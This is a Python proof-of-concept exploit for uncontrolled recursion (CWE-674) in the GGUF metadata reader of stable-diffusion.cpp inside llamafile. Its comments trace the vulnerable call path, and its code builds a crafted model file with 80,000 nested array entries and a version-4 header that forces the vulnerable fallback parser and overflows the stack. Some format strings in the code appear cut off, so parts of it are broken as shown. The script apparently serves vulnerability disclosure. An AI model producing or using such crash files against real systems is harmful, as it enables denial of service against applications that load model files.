#!/usr/bin/env python3 # PoC: CWE-674 Uncontrolled Recursion in GGUFReader::read_metadata() # Target: stable-diffusion.cpp (submodule in Mozilla-Ocho/llamafile v0.10.3) # File: src/model_io/gguf_reader_ext.h lines 114-125 # # Root cause: ARRAY case calls read_metadata() recursively for each element # with no depth limit. version=4 forces GGUFReader fallback (main gguf parser # rejects versions > 3 and returns nullptr). GGUFReader has no version check, # so it accepts the file and processes 80000 nested ARRAY-of-ARRAY metadata # entries, overflowing the default 8 MB call stack. # # Trigger path: # gguf_io.cpp:47 gguf_init_from_file() -> nullptr (version=4 > GGUF_VERSION=3) # gguf_io.cpp:48 if (!ctx_gguf_) { # gguf_io.cpp:49 GGUFReader gguf_reader; # gguf_io.cpp:50 gguf_reader.load(file_path) # gguf_reader_ext.h:204 for i in 0..metadata_kv_count: read_metadata() # gguf_reader_ext.h:114 ARRAY case: calls read_metadata() with no depth limit import struct import sys import os NESTING = 80000 # 80k levels reliably overflows the default 8 MB stack def kv_array_unit(): # One full KV pair: key=k, type=ARRAY, elem_type=ARRAY, len=1 # The ARRAY handler consumes elem_type+len then calls read_metadata recursively. return ( struct.pack(' 1 recursive read_metadata call ) def kv_terminal(): # Innermost entry terminating the chain: key=k, type=UINT8, value=0x01 return ( struct.pack(' safe_seek(1) returns true + b'\x01' # the byte that UINT8 case seeks over ) def build_gguf(): header = ( b'GGUF' + struct.pack(' one top-level read_metadata call ) return header + kv_array_unit() * NESTING + kv_terminal() def main(): out = sys.argv[1] if len(sys.argv) > 1 else '/tmp/poc_cwe674.gguf' data = build_gguf() with open(out, 'wb') as f: f.write(data) print('[+] Written %d bytes to %s' % (len(data), out)) print('[+] Recursion depth: %d nested ARRAY-of-ARRAY levels' % NESTING) print('[+] version=4 forces GGUFReader fallback (no version guard in GGUFReader)') print('[+] Expected crash: SIGSEGV (exit code 139)') if __name__ == '__main__': main()